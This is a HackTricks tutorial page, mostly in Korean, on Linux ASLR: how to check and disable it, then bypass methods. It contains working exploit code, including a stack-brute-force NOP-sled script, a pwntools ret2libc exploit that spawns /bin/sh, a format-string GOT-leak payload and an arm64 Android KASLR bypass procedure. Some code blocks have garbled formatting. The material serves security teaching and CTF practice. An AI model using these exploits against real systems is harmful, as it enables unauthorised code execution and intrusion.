ASLR

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

**Address Space Layout Randomization (ASLR)**์€ ์šด์˜ ์ฒด์ œ์—์„œ ์‹œ์Šคํ…œ ๋ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ๋ฌด์ž‘์œ„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๋ณด์•ˆ ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ stack, heap, libraries์™€ ๊ฐ™์€ ํŠน์ • ํ”„๋กœ์„ธ์Šค ๋ฐ ๋ฐ์ดํ„ฐ์˜ ์œ„์น˜๋ฅผ ์˜ˆ์ธกํ•˜๊ธฐ๊ฐ€ ํ›จ์”ฌ ์–ด๋ ค์›Œ์ ธ์„œ, ํŠนํžˆ buffer overflows์™€ ๊ฐ™์€ ํŠน์ • ์œ ํ˜•์˜ exploits๋ฅผ ์™„ํ™”ํ•ฉ๋‹ˆ๋‹ค.

ASLR ์ƒํƒœ ํ™•์ธ

Linux ์‹œ์Šคํ…œ์—์„œ ASLR ์ƒํƒœ๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด /proc/sys/kernel/randomize_va_space ํŒŒ์ผ์˜ ๊ฐ’์„ ์ฝ์œผ๋ฉด ๋ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์— ์ €์žฅ๋œ ๊ฐ’์€ ์ ์šฉ๋˜๋Š” ASLR์˜ ์œ ํ˜•์„ ๊ฒฐ์ •ํ•ฉ๋‹ˆ๋‹ค:

  • 0: ๋ฌด์ž‘์œ„ํ™” ์—†์Œ. ๋ชจ๋“  ๊ฒƒ์ด ์ •์ ์ž…๋‹ˆ๋‹ค.
  • 1: ๋ณด์ˆ˜์  ๋ฌด์ž‘์œ„ํ™”. ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ, stack, mmap(), VDSO page๊ฐ€ ๋ฌด์ž‘์œ„ํ™”๋ฉ๋‹ˆ๋‹ค.
  • 2: ์ „์ฒด ๋ฌด์ž‘์œ„ํ™”. ๋ณด์ˆ˜์  ๋ฌด์ž‘์œ„ํ™”๋กœ ๋ฌด์ž‘์œ„ํ™”๋˜๋Š” ์š”์†Œ๋“ค์— ์ถ”๊ฐ€๋กœ, brk()๋กœ ๊ด€๋ฆฌ๋˜๋Š” ๋ฉ”๋ชจ๋ฆฌ๋„ ๋ฌด์ž‘์œ„ํ™”๋ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ASLR ์ƒํƒœ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

cat /proc/sys/kernel/randomize_va_space

ASLR ๋น„ํ™œ์„ฑํ™”

ASLR๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด /proc/sys/kernel/randomize_va_space ๊ฐ’์„ 0์œผ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ASLR ๋น„ํ™œ์„ฑํ™”๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ํ…Œ์ŠคํŠธ๋‚˜ ๋””๋ฒ„๊น… ์ƒํ™ฉ ์ด์™ธ์—์„œ๋Š” ๊ถŒ์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์‹คํ–‰ํ•  ๋•Œ ASLR์„ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR ํ™œ์„ฑํ™”

ASLR์„ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด /proc/sys/kernel/randomize_va_space ํŒŒ์ผ์— ๊ฐ’ 2๋ฅผ ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ž‘์—…์€ ์ผ๋ฐ˜์ ์œผ๋กœ root ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์™„์ „ํ•œ ๋ฌด์ž‘์œ„ํ™”๋Š” ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

์žฌ๋ถ€ํŒ… ์‹œ ์ง€์†์„ฑ

echo ๋ช…๋ น์œผ๋กœ ์ˆ˜ํ–‰ํ•œ ๋ณ€๊ฒฝ์€ ์ผ์‹œ์ ์ด๋ฉฐ ์žฌ๋ถ€ํŒ…ํ•˜๋ฉด ์ดˆ๊ธฐํ™”๋ฉ๋‹ˆ๋‹ค. ๋ณ€๊ฒฝ์„ ์˜๊ตฌ์ ์œผ๋กœ ์ ์šฉํ•˜๋ ค๋ฉด /etc/sysctl.conf ํŒŒ์ผ์„ ํŽธ์ง‘ํ•˜์—ฌ ๋‹ค์Œ ์ค„์„ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

ํŒŒ์ผ /etc/sysctl.conf์„ ํŽธ์ง‘ํ•œ ํ›„, ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ์ ์šฉํ•˜๋ ค๋ฉด:

sudo sysctl -p

This will ensure that your ASLR settings remain across reboots.

์šฐํšŒ ๋ฐฉ๋ฒ•

32bit brute-forcing

PaX๋Š” ํ”„๋กœ์„ธ์Šค ์ฃผ์†Œ ๊ณต๊ฐ„์„ 3๊ฐœ์˜ ๊ทธ๋ฃน์œผ๋กœ ๋‚˜๋ˆ•๋‹ˆ๋‹ค:

  • Code and data (initialized and uninitialized): .text, .data, and .bss โ€”> 16 bits of entropy in the delta_exec variable. ์ด ๋ณ€์ˆ˜๋Š” ๊ฐ ํ”„๋กœ์„ธ์Šค๋งˆ๋‹ค ๋ฌด์ž‘์œ„๋กœ ์ดˆ๊ธฐํ™”๋˜๋ฉฐ ์ดˆ๊ธฐ ์ฃผ์†Œ์— ๋”ํ•ด์ง‘๋‹ˆ๋‹ค.
  • Memory allocated by mmap() and shared libraries โ€”> 16 bits, named delta_mmap.
  • The stack โ€”> 24 bits, referred to as delta_stack. ๊ทธ๋Ÿฌ๋‚˜ ์‹ค์ œ๋กœ๋Š” 11 bits๋งŒ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค(10๋ฒˆ์งธ ๋ฐ”์ดํŠธ๋ถ€ํ„ฐ 20๋ฒˆ์งธ ๋ฐ”์ดํŠธ ํฌํ•จ), 16๋ฐ”์ดํŠธ๋กœ ์ •๋ ฌ โ€”> ๊ฒฐ๊ณผ์ ์œผ๋กœ 524,288 possible real stack addresses๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

์œ„์˜ ๋‚ด์šฉ์€ 32-bit ์‹œ์Šคํ…œ์„ ์œ„ํ•œ ๊ฒƒ์ด๋ฉฐ, ๊ฐ์†Œ๋œ ์ตœ์ข… ์—”ํŠธ๋กœํ”ผ๋กœ ์ธํ•ด exploit์ด ์„ฑ๊ณตํ•  ๋•Œ๊นŒ์ง€ ์‹คํ–‰์„ ๋ฐ˜๋ณตํ•˜๋ฉด ASLR์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Brute-force ideas:

  • ๋งŒ์•ฝ shellcode ์•ž์— ํฐ NOP sled๋ฅผ ๋‘˜ ์ˆ˜ ์žˆ์„ ๋งŒํผ overflow๊ฐ€ ์ถฉ๋ถ„ํžˆ ํฌ๋‹ค๋ฉด, ํ๋ฆ„์ด NOP sled์˜ ์ผ๋ถ€๋ฅผ ๊ฑด๋„ˆ๋›ธ ๋•Œ๊นŒ์ง€ stack์˜ ์ฃผ์†Œ๋ฅผ brute-forceํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • overflow๊ฐ€ ๊ทธ๋ฆฌ ํฌ์ง€ ์•Š๊ณ  exploit์„ ๋กœ์ปฌ์—์„œ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ, NOP sled์™€ shellcode๋ฅผ environment variable์— ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • exploit๊ฐ€ ๋กœ์ปฌ์ด๋ผ๋ฉด libc์˜ base ์ฃผ์†Œ๋ฅผ brute-forceํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(32bit ์‹œ์Šคํ…œ์—์„œ ์œ ์šฉ):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • ์›๊ฒฉ server๋ฅผ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒฝ์šฐ, ์ธ์ˆ˜๋กœ 10์„ ์ „๋‹ฌํ•˜๋Š” ์˜ˆ์‹œ๋กœ **brute-force the address of the libc function usleep**๋ฅผ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์–ด๋А ์‹œ์ ์— server๊ฐ€ ์‘๋‹ตํ•˜๋Š” ๋ฐ 10s ์ถ”๊ฐ€๋กœ ๊ฑธ๋ฆฐ๋‹ค๋ฉด, ํ•ด๋‹น ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ฐพ์€ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Tip

64bit ์‹œ์Šคํ…œ์—์„œ๋Š” ์—”ํŠธ๋กœํ”ผ๊ฐ€ ํ›จ์”ฌ ๋†’์•„ ์ด ๋ฐฉ๋ฒ•์€ ๊ฐ€๋Šฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

64 bits stack brute-forcing

env variables๋กœ stack์˜ ํฐ ๋ถ€๋ถ„์„ ์ฑ„์šด ๋‹ค์Œ binary๋ฅผ ์ˆ˜๋ฐฑ/์ˆ˜์ฒœ ๋ฒˆ locally์—์„œ abuseํ•˜์—ฌ exploitํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
๋‹ค์Œ ์ฝ”๋“œ๋Š” just select an address in the stackํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ฃผ๋ฉฐ, ๋งค few hundreds of executions๋งˆ๋‹ค ๊ทธ ์ฃผ์†Œ์— NOP instruction์ด ๋“ค์–ด ์žˆ๊ฒŒ ๋˜๋Š” ๊ณผ์ •์„ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force ์Šคํƒ NOP ํƒ์ง€ ```python import subprocess import traceback

Start the process

nop = bโ€œ\xD5\x1F\x20\x03โ€œ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { โ€˜aโ€™: shellcode_env_var, โ€˜bโ€™: shellcode_env_var, โ€˜cโ€™: shellcode_env_var, โ€˜dโ€™: shellcode_env_var, โ€˜eโ€™: shellcode_env_var, โ€˜fโ€™: shellcode_env_var, โ€˜gโ€™: shellcode_env_var, โ€˜hโ€™: shellcode_env_var, โ€˜iโ€™: shellcode_env_var, โ€˜jโ€™: shellcode_env_var, โ€˜kโ€™: shellcode_env_var, โ€˜lโ€™: shellcode_env_var, โ€˜mโ€™: shellcode_env_var, โ€˜nโ€™: shellcode_env_var, โ€˜oโ€™: shellcode_env_var, โ€˜pโ€™: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=โ€œ\rโ€)

Define the path to your binary

binary_path = โ€˜./aslr-testingโ€™

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if โ€œ0xd5โ€ in str(output): print(str(cont) + โ€œ -> โ€œ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Local Information (`/proc/[pid]/stat`)

ํ”„๋กœ์„ธ์Šค์˜ **`/proc/[pid]/stat`** ํŒŒ์ผ์€ ํ•ญ์ƒ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ์ฝ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ **ํฌํ•จ**ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค:

- **startcode** & **endcode**: ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ **TEXT**์™€ ๊ด€๋ จ๋œ ์ƒยทํ•˜ ์ฃผ์†Œ
- **startstack**: **stack**์˜ ์‹œ์ž‘ ์ฃผ์†Œ
- **start_data** & **end_data**: **BSS**๊ฐ€ ์œ„์น˜ํ•œ ์ƒยทํ•˜ ์ฃผ์†Œ
- **kstkesp** & **kstkeip**: ํ˜„์žฌ **ESP** ๋ฐ **EIP** ์ฃผ์†Œ
- **arg_start** & **arg_end**: **cli arguments**๊ฐ€ ์œ„์น˜ํ•œ ์ƒยทํ•˜ ์ฃผ์†Œ
- **env_start** &**env_end**: **env variables**๊ฐ€ ์œ„์น˜ํ•œ ์ƒยทํ•˜ ์ฃผ์†Œ

๋”ฐ๋ผ์„œ, ๊ณต๊ฒฉ์ž๊ฐ€ ๊ณต๊ฒฉ ๋Œ€์ƒ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ๋™์ผํ•œ ์ปดํ“จํ„ฐ์— ์žˆ๊ณ  ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ raw arguments๋กœ ์ธํ•œ ์˜ค๋ฒ„ํ”Œ๋กœ๋ฅผ ์˜ˆ์ƒํ•˜์ง€ ๋ชปํ•˜๋ฉฐ ๋Œ€์‹  ์ด ํŒŒ์ผ์„ ์ฝ์€ ๋’ค ์กฐ์ž‘ ๊ฐ€๋Šฅํ•œ ๋‹ค๋ฅธ **input that can be crafted after reading this file**์—์„œ ์˜ค๋ฒ„ํ”Œ๋กœ๊ฐ€ ๋ฐœ์ƒํ•  ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” ์ด ํŒŒ์ผ์—์„œ ๋ช‡๋ช‡ ์ฃผ์†Œ๋ฅผ ์–ป์–ด ์ต์Šคํ”Œ๋กœ์ž‡์„ ์œ„ํ•œ ์˜คํ”„์…‹์„ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`

### Having a leak

- **The challenge is giving a leak**

If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):

<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

buffer overflow๋ฅผ ์•…์šฉํ•˜๋ฉด ret2plt๋ฅผ ์ด์šฉํ•ด libc์˜ ํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ exfiltrateํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ™•์ธ:

Ret2plt

  • Format Strings Arbitrary Read

ret2plt์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ, format strings ์ทจ์•ฝ์ ์„ ํ†ตํ•ด arbitrary read๊ฐ€ ๊ฐ€๋Šฅํ•˜๋ฉด GOT์—์„œ libc function์˜ ์ฃผ์†Œ๋ฅผ exfiltrateํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

You can find more info about Format Strings arbitrary read in:

Format Strings

Ret2ret & Ret2pop

์Šคํƒ ๋‚ด๋ถ€์˜ ์ฃผ์†Œ๋ฅผ ์•…์šฉํ•˜์—ฌ ASLR์„ ์šฐํšŒํ•ด ๋ณด์„ธ์š”:

Ret2ret & Reo2pop

vsyscall

The vsyscall ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์ผ๋ถ€ system call์„ user space์—์„œ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ์„ฑ๋Šฅ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ๋น„๋ก ์ด๋“ค์€ ๋ณธ์งˆ์ ์œผ๋กœ ์ปค๋„์˜ ์ผ๋ถ€์ž…๋‹ˆ๋‹ค. vsyscalls์˜ ์ค‘์š”ํ•œ ์žฅ์ ์€ ๊ทธ๋“ค์˜ **๊ณ ์ •๋œ ์ฃผ์†Œ(fixed addresses)**์— ์žˆ์œผ๋ฉฐ, ์ด ์ฃผ์†Œ๋“ค์€ ASLR(Address Space Layout Randomization)์˜ ๋Œ€์ƒ์ด ์•„๋‹™๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณ ์ •์„ฑ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡์— ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด information leak ์ทจ์•ฝ์ ์„ ํ•„์š”๋กœ ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ์—ฌ๊ธฐ์„œ ๋งค์šฐ ํฅ๋ฏธ๋กœ์šด gadgets๋ฅผ ์ฐพ๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค(์˜ˆ๋ฅผ ๋“ค์–ด ret;์™€ ๋™๋“ฑํ•œ ๊ฒƒ์„ ์–ป๋Š” ๊ฒƒ์€ ๊ฐ€๋Šฅ).

(The following example and code is from this writeup)

For instance, an attacker might use the address 0xffffffffff600800 within an exploit. While attempting to jump directly to a ret instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a syscall provided by the vsyscall section can prove successful. By carefully placing a ROP gadget that leads execution to this vsyscall address, an attacker can achieve code execution without needing to bypass ASLR for this part of the exploit.

์˜ˆ์ œ vmmap/vsyscall ๋ฐ gadget lookup ```text efโžค vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gefโžค x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gefโžค  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gefโžค  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gefโžค  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

๋”ฐ๋ผ์„œ ์ปค๋„์ด CONFIG_COMPAT_VDSO๋กœ ์ปดํŒŒ์ผ๋œ ๊ฒฝ์šฐ vdso ์ฃผ์†Œ๊ฐ€ ๋ฌด์ž‘์œ„ํ™”๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ vdso๋ฅผ ์•…์šฉํ•ด ASLR์„ bypassํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

Ret2vDSO

KASLR on ARM64 (Android): bypass via fixed linear map

๋งŽ์€ arm64 Android ์ปค๋„์—์„œ kernel linear map (direct map)์˜ base๋Š” ๋ถ€ํŒ… ๊ฐ„์— ๊ณ ์ •๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€์˜ Kernel VAs๊ฐ€ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•ด์ ธ direct map์„ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํƒ€๊นƒ์— ๋Œ€ํ•ด KASLR์ด ๋ฌด๋ ฅํ™”๋ฉ๋‹ˆ๋‹ค.

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (exported symbol)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsyms to find memstart_addr
  • ํ•ด๋‹น ์ฃผ์†Œ์—์„œ 8๋ฐ”์ดํŠธ(LE)๋ฅผ any kernel read๋ฅผ ์‚ฌ์šฉํ•ด ์ฝ์Šต๋‹ˆ๋‹ค (์˜ˆ: tracing-BPF helper๊ฐ€ BPF_FUNC_probe_read_kernel๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ)
  • Compute direct-map VAs: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • ๋Œ€์ƒ์ด direct map ๋‚ด์— ์žˆ๊ฑฐ๋‚˜ direct map์„ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ(์˜ˆ: page tables, ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€์ƒ์˜ kernel objects๋ฅผ ์กฐ์ž‘/๊ด€์ฐฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ) ๋ณ„๋„์˜ KASLR leak๊ฐ€ ํ•„์š” ์—†์Šต๋‹ˆ๋‹ค.
  • arm64 Android์—์„œ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ž„์˜ R/W ๋ฐ kernel ๋ฐ์ดํ„ฐ ํƒ€๊นƒํŒ…์ด ๋‹จ์ˆœํ•ด์ง‘๋‹ˆ๋‹ค.

Reproduction summary

  1. grep memstart /proc/kallsyms -> address of memstart_addr
  2. Kernel read -> decode 8 bytes LE -> PHYS_OFFSET
  3. Use virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) with PAGE_OFFSET=0xffffff8000000000

Note

tracing-BPF helpers์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค; any kernel read primitive ๋˜๋Š” info leak์ด๋ฉด PHYS_OFFSET๋ฅผ ์–ป๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.

How itโ€™s fixed

  • ์ œํ•œ๋œ kernel VA ๊ณต๊ฐ„๊ณผ CONFIG_MEMORY_HOTPLUG๊ฐ€ ๋ฏธ๋ž˜ hotplug๋ฅผ ์œ„ํ•ด VA๋ฅผ ์˜ˆ์•ฝํ•˜์—ฌ linear map์„ ๊ฐ€์žฅ ๋‚ฎ์€ VA(๊ณ ์ • base)๋กœ ๋ฐ€์–ด๋ƒ…๋‹ˆ๋‹ค.
  • Upstream arm64๋Š” linear-map randomization์„ ์ œ๊ฑฐํ–ˆ์Šต๋‹ˆ๋‹ค (commit 1db780bafa4c).

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ